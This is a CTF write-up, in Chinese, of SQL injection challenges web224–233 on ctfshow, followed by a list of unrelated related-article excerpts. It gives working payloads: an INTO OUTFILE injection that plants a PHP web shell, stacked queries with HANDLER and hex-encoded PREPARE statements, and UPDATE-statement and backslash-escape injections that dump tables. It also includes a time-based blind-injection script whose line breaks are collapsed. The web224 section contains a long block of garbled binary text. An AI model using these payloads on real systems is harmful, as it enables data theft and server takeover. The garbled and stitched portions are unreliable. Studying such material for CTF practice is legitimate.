ctfshow web入门 sql注入 web224--web233
web224
扫描后台,发现robots.txt,访问发现/pwdreset.php ,再访问可以重置密码 ,登录之后发现上传文件
检查发现没有限制诶
上传txt,png,zip发现文件错误了
后面知道群里有个文件能上传
<?= _$GET[1]_?>就是0x3c3f3d60245f4745545b315d603f3e 所以访问1.php执行命令就行了
C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+ 沁s寂dA?q?y黃抾|{9l惒1%╓m鯧幆v9?3#;mv诬磇S鏛5Dv镓Qj堜匒C?煕?乼ニo妻鷷?7n积寒遝e跞HO疜鸹M=鳁^鴀亍o钏fH?5fmUe羰獞Q<黁dS溄$??喙瑙枴溓?{3Uo堊%?k?t饜〖.鲽|a?s?齁韱y;啑鼞?)yχ0]釵C燁L??H歩P?;F!?O??*_铧J漅 Q4IQ糅酰仩Q澮Q4刷X秞燘硢枹竐蕱4猄!?Y_癵G€
-帰E娾?Zg4猄!奦Y瘷歯€
?帰U娾?gl%hT?Bm?枱_?ㄐ︶(冥(?1vA???#媌??F肣寫?c#A?チQ尣(??R鑭?h`?泞[痢嶊擣?'媌Z@?燘N肣浃(辎F?hT?ByY譯U€
y
G憲淰滲楔Ni?
??鸈≒衟鞭M狸5??Ey飂?S-≒媒胼d?侳i猖瘔畂萺淓d齙嬥?v膽~?8~鷙?6駨幆F脍??}?狊橦W?F8rQ?晴?lt⑥l涌込?珤豉cu?|??}0暹胙齑鈝?m?鞿]}睨骃闦v澌U殠鮵驥熶鷘?v(Q鍌迲I(q??(O∵鶱邖欕鯱琀NX}?氕?S鐔m諫_緌踌ü獬炉謉O貔(S遞棚矶蛧餠
GF蟧ホ魾?j0襪瀝xCau僇疓E$4顖同(T厷$∷n艶*
圮篘a瘸?斠58犊/醡"?"z4聝(簸畊sC3n髎#懏蹲
巌麀$?攧琳Cp韔Od嶙_羗~n8??y
盇曣 (刏^蹼+?▲??Bv偁L 增"L偶j jU漫攭*??働>鏝?o棟挔* (3#?_?Bm烧賟+B-^殩AY→?AYAo??R|繠檬?B貮ㄟG賟+B5]HM厾l孭5~T5 悴"詘?=*F*嵙牰w啝8#HU県?穊骊睻U⑶Z?拟@瑋咖D淲违JX慍??F?|e揈湑{'KX藪摽 睌飖w 矩]X.+b吙b)哽頧羃A,鴍?蛶[k闽>=@,寤???_钯?旄扁$?睌oww@巨??q?UJX??b)唢頧?b??;nE,蠊 栻
飵鮦7锯x謳[玭謮,K鶐w荍 膫/yn?砀盕敭?b鞭驈v砆鴸咻埑返^玛~}鰃`:蕑??膫o壠F軍X;蚬 ??c练黖F軍Xo?腞惧#P*唘4膔k踷Ⅺじ^,v巐╫/z.骔#c#k詴徲{簐潭C棧?臜澆鱘X€盠J瞢碷l??谨*?崌g&虓k??谨???3Ot?N记2唵:馊茌7k貊;猡$u?7俾衊KI}]?魋b繆??a?L篃?a&I榬OLK绿?寰殩刌$a式9- 矹聰鹻Zf搫)??,FgT?xT€肍?z暁拞蜁Q?5%
盯铏jJ6丏褀諗4l,嚔w?i貫EWS野??拨)}hMI弥4(z贇拞?P裘?嵡?姙害?E_^S野l劉矾>i剷(7绥?曉籿d{鹦?纟f污韴C蚸p6寚?Z7?反{牯裠冇a铥銥楮R3n檞涕?外???E痌
N敿G?N锝(p8藑o?葶痌蕉s阤蓒,惠艮觾鉠<<嶑迺7qK粭M锝甩浣?C[陟蕞拮郥嶌N?zm_萅蓒艮?N暪?{③?V糈ダX蓒,惶艮+xx跺糸脥弗軨轇p溗}??]裐ё\杫嚇辿恿?临V拊圼邶_z飴 腔荀r=颜勄塣[?'y廵w椶{Fp躃€'厭烖?反{肤揠
巤癸脄纲榈?橑Xvf榻? 蘕?p低>鼕右罨襸?淛毼啂l?螽*谨J纐0h鷄^撰弗?^!8&(4E#珙嬎2飯襸oIO&淖z荛颠擿蓿仫T鯺垾8?戴c-?絯8?_愇剃=鍴xc?蝃?蔟坻坜霌S3柪擎絧pLP?V蕉~?蓒?ы闃k
f7癛郱@既誾?]圇鰟芖甲 c)??$掂V艮?乏€t痰??,(钢xm?戨蛣 掲B?憓'審蛖臽)(?<?发鱲∽@:鎆脜?XP
p瓚?蒠M?y镳耍?|l匏+5A敝H??发鼬Z=8$ 0?顦閌RL?搾潣c?叹?儍PI?fX箼崇?茐x?'an趞騷?{v谴€暃I1M趸饽sY笊?! &C氷廀3皰3)鎯#倊賯[肠鳘r髱|P?衇?J罂V'?5yqT鱽?v+K帺鞠?Oq羏*(騎鮅#DQV朶W}R Q钠G(騟鮅#DQV枩[}R Q?e(騰鮅#DQV栜_}R Q膯??鮅#DQV?DKRM?湶?殥*
(K-?Ge苍S殥**b┥4%U耪=o攢RU蠩俆ye?$'敧?U灳滨gA┆O?R?铕厒敧??U?绝q翤PA俆y对渨?敧醠?蠔f觉磶蔺r5K眨p廟濖?騤謝枾NA=?
?壣a锺锺锺镅犍摵? x
这东西好像和sql没关系哇
web225
这道题神似之前的某一道题,闭合之后堆叠注入就行
但是直接在用户名写没有回显,那就传参(先换到注入页面访问/api)
然后
?username=-1';show tables;--+
发现表ctfshow_flagasa
利用handler代替select
?username=-1';handler `ctfshow_flagasa` open;handler `ctfshow_flagasa` read first;--+
web226
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
16进制绕过
-1';PREPARE abcd from 0x73686f772020646174616261736573;execute abcd;#
show databases;-1';PREPARE abcd from 0x73686F77207461626C6573;execute abcd;#
show tables;-1';PREPARE abcd from 0x73656C656374202A2066726F6D2063746673685F6F775F666C61676173;execute
abcd;#
select * from ctfsh_ow_flagas
web227
-1';PREPARE a from 0x73686F77207461626C6573;execute a;#
show tables;-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673686F775F75736572;execute a;#
select * from ctfshow_user
但是并没有发现flag
后面发现这里考察SQL存储,使用
SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME = 'sp_name' ;
ROUTINE_NAME 字段中存储的是存储过程和函数的名称; sp_name 参数表示存储过程或函数的名称
select * from information_schema.Routines
-1';PREPARE a from 0x73656C656374202A2066726F6D20696E666F726D6174696F6E5F736368656D612E526F7574696E6573;execute a;#
web228
select * from ctfsh_ow_flagasaa
-1';PREPARE a from 0x73656C656374202A2066726F6D2063746673685F6F775F666C616761736161
;execute a;#
web229–web230
原理一样,不过多赘述
16进制转码
web231
updata注入
update 注入
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";将表名为ctfshow_user 的password更新成我们传入的,当username正确的时候
注入成功
password=-1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=password=-1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=password=-1',username=(select group_concat(flagas) from flaga)#&username=
web 232
$sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";
md5直接闭合
password='),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=password='),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')%23&username=1password='),username=(select group_concat(flagass) from flagaa)%23&username=1
web 233
$sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";
不能传入单引号,不过可以传入\,这就有意思了。
假设我们password传入\,username传入,username=database()#
那么最终构成的语句如下
update ctfshow_user set pass = '\' where username = ',username=database()#'
等价于
执行SQL语句
update ctfshow_user set pass = 'x',username=database()#'
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1password=\&username=,username=(select group_concat(flagas) from flaga)#&username=1
理论来说应该是有回显的,但是我的一直没有,只能盲注脚本了
"""
Author:Y4tacker
"""
import requestsurl = "http://52405488-688b-4d4e-92ee-34eb3d063698.challenge.ctf.show/api/?page=1&limit=10"result = ""
i = 0while 1:i = i + 1head = 32tail = 127while head < tail:mid = (head + tail) >> 1# 查数据库# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"# 查表名# payload = "select column_name from information_schema.columns where table_name='flag233333' limit 1,1"# 查数据payload = "select flagass233 from flag233333"data = {'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.05),1)#",'password': '4'}try:r = requests.post(url, data=data, timeout=0.9)tail = midexcept Exception as e:head = mid + 1if head != 32:result += chr(head)else:breakprint(result)
算了始终有问题我觉得,还是后面再来吧我去学写脚本
相关文章:
ctfshow web入门 sql注入 web224--web233
web224 扫描后台,发现robots.txt,访问发现/pwdreset.php ,再访问可以重置密码 ,登录之后发现上传文件 检查发现没有限制诶 上传txt,png,zip发现文件错误了 后面知道群里有个文件能上传 <? _$GET[1]_?>就是0x3c3f3d60245…...
「Java开发指南」如何用MyEclipse搭建GWT 2.1和Spring?(一)
本教程将指导您如何生成一个可运行的Google Web Toolkit (GWT) 2.1和Spring应用程序,该应用程序为域模型实现了CRUD应用程序模式。在本教程中,您将学习如何: 安装Google Eclipse插件为GWT配置一个项目搭建从数据库表到一个现有的项目GWT编译…...
python同时进行字符串的多种替换
一些常见的方法: 使用str.replace()方法:这是一种简单的方法,但是如果你有多个替换需要进行,可能会变得很繁琐。 text "This is a sample text with some words." text text.replace("sample", "exa…...
【Java基础题型】用筛法求之N内的素数(老题型)
输入格式 N输出格式 0~N的素数样例输入 100样例输出 2 3 5 7 11 13 17 19 23 29 31 37 老朋友素数了属于是! 方法1:(穷举法) 通过遍历 i 的所有除数,如果除以除数后商变成了0,那么把布尔值变成假的。表示不是素数 【…...
Linux进程——Linux环境变量
前言:在结束完上一篇的命令行参数时,我们简单的了解了一下Linux中的环境变量PATH,而环境变量不只有PATH,关于更多环境变量的知识我们将在本篇展开! 本篇主要内容: 常见的环境变量 获取环境变量的三种方式 本…...
SRM系统供应链库存协同提升企业服务水平
SRM系统供应链库存协同是一种以提高供应链整体效率和竞争力为目标的管理方法。它涉及到企业与供应商之间的紧密合作,以实现库存优化、成本降低、风险分担和灵活响应市场变化等目标。 一、SRM供应链库存协同的概念和特点 SRM供应链库存协同是指企业与供应商之间通过…...
Windows安全加固-账号与口令管理
在当今日益增长的网络安全威胁中,Windows系统的安全加固显得尤为重要。其中,账号与口令管理作为系统安全的第一道防线,其重要性不言而喻。本文将深入探讨Windows安全加固中的账号与口令管理策略,以确保系统的安全性和稳定性。 账…...
【数据库原理及应用】期末复习汇总高校期末真题试卷03
试卷 一、选择题 1 数据库中存储的基本对象是_____。 A 数字 B 记录 C 元组 D 数据 2 下列不属于数据库管理系统主要功能的是_____。 A 数据定义 B 数据组织、存储和管理 C 数据模型转化 D 数据操纵 3 下列不属于数据模型要素的是______。 A 数据结构 B 数据字典 C 数据操作 D…...
数据库加密数据模糊匹配查询技术方案
文章目录 前言沙雕方案内存加载解密密文映射表 常规做法实现数据库加密算法参考 分词组合加密(推荐) 超神方案总结个人简介 前言 在数据安全性和查询效率之间找到平衡是许多数据管理系统所面临的挑战之一。特别是在涉及加密数据的情况下,如何…...
jsSPA应用如何实现动态内容更新
JS SPA(单页面应用)应用的原理、优势以及例子如下: 原理: SPA应用的核心原理在于,它使用JavaScript动态地创建和更新DOM结构,而非通过传统的多页面跳转来呈现内容。当用户与应用程序交互时,SP…...
C++学习笔记——仿函数
文章目录 仿函数——思维导图仿函数是什么仿函数的优势理解仿函数仿函数的原理举例 仿函数——思维导图 仿函数是什么 使用对象名调用operator()函数看起来像是在使用函数一样,因此便有了仿函数的称呼;仿函数存在的意义是&#x…...
python 中如何匹配字符串
python 中如何匹配字符串? 1. re.match 尝试从字符串的起始位置匹配一个模式,如果不是起始位置匹配成功的话,match()就返回none。 import re line"this hdr-biz 123 model server 456" patternr"123" matchObj re.matc…...
Windows 系统运维常用命令
目标:通过本文可以快速实现windows 网络问题定位。 ipconfig:查看本机网络配置情况 C:\Users\zzg>ipconfigWindows IP 配置以太网适配器 以太网:媒体状态 . . . . . . . . . . . . : 媒体已断开连接连接特定的 DNS 后缀 . . . . . . . :无线局域网适配器 本地…...
Springboot监听ConfigMap配置文件自动更新配置
背景: 最近调研使用k8s的ConfigMap来作为springboot项目的配置中心,需要实现热更新机制,避免pod重启影响业务。 ConfigMap作为挂载卷使用的时候可以更新pod中的配置内容,但是业务应用需要能监听并处理这些变更。我在测试的时候已…...
API安全机制
API安全机制包括两部分:数字签名、敏感信息加密。 一、数字签名 服务端使用客户端的消息签名验证客户端的身份。如果一个请求不包含签名或者签名验证失败,服务端将返回身份验证错误。它背后的技术是:数字签名技术。 1、待签参数准备 待签…...
接口性能测试 —— Jmeter并发与持续性压测!
接口压测的方式: 1、同时并发:设置线程组、执行时间、循环次数,这种方式可以控制接口请求的次数 2、持续压测:设置线程组、循环次数,勾选“永远”,调度器(持续时间),这种…...
Windows+Linux的虚拟串口工具
文章目录 1.Windows虚拟串口工具1.1 安装教程1.2 使用方法 2.Linux系统虚拟串口工具2.1 socat安装2.2 开启虚拟串口2.3 测试2.3.1 命令测试2.3.2 Cutecom工具测试 2.4 关闭虚拟串口 3.参考资料 1.Windows虚拟串口工具 下载地址:https://www.downxia.com/downinfo/4…...
Spring-AOP
目录 一:什么是AOP 二:AOP快速入门 2.1导入AOP坐标 2.2定义dao接口和实现类 2.3定义通知类 2.4在配置类中进行Spring注解包扫描和开启AOP功能 2.5定义测试类测试结果 三:AOP工作流程 四:AOP的切入点表达式 4.1语法格…...
算法程序设计-快速排序
快速排序采用---分治策略 L |------x-------------| R 第一步确定分界点:q[l],q[(lr)/2],q[r]随机 第二步调整范围:L |--------<x|>x------------| R 第三步递归处理左右两端 两种做法: 第一种:暴力解决 另外定义两个…...
Jmeter用jdbc实现对数据库的操作
我们在用Jmeter进行数据库的操作时需要用到配置组件“JDBC Connection Configuration”,通过配置相应的驱动能够让我们通过Jmeter实现对数据库的增删改查,这里我用的mysql数据库一起来看下是怎么实现的吧。 1.驱动包安装 在安装驱动之前我们要先查看当前…...
QMC5883L的驱动
简介 本篇文章的代码已经上传到了github上面,开源代码 作为一个电子罗盘模块,我们可以通过I2C从中获取偏航角yaw,相对于六轴陀螺仪的yaw,qmc5883l几乎不会零飘并且成本较低。 参考资料 QMC5883L磁场传感器驱动 QMC5883L磁力计…...
java 实现excel文件转pdf | 无水印 | 无限制
文章目录 目录 文章目录 前言 1.项目远程仓库配置 2.pom文件引入相关依赖 3.代码破解 二、Excel转PDF 1.代码实现 2.Aspose.License.xml 授权文件 总结 前言 java处理excel转pdf一直没找到什么好用的免费jar包工具,自己手写的难度,恐怕高级程序员花费一年的事件,也…...
visual studio 2022更改主题为深色
visual studio 2022更改主题为深色 点击visual studio 上方的 工具-> 选项 在选项窗口中,选择 环境 -> 常规 ,将其中的颜色主题改成深色 点击确定,更改完成...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...
【快手拥抱开源】通过快手团队开源的 KwaiCoder-AutoThink-preview 解锁大语言模型的潜力
引言: 在人工智能快速发展的浪潮中,快手Kwaipilot团队推出的 KwaiCoder-AutoThink-preview 具有里程碑意义——这是首个公开的AutoThink大语言模型(LLM)。该模型代表着该领域的重大突破,通过独特方式融合思考与非思考…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
深入解析C++中的extern关键字:跨文件共享变量与函数的终极指南
🚀 C extern 关键字深度解析:跨文件编程的终极指南 📅 更新时间:2025年6月5日 🏷️ 标签:C | extern关键字 | 多文件编程 | 链接与声明 | 现代C 文章目录 前言🔥一、extern 是什么?&…...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...
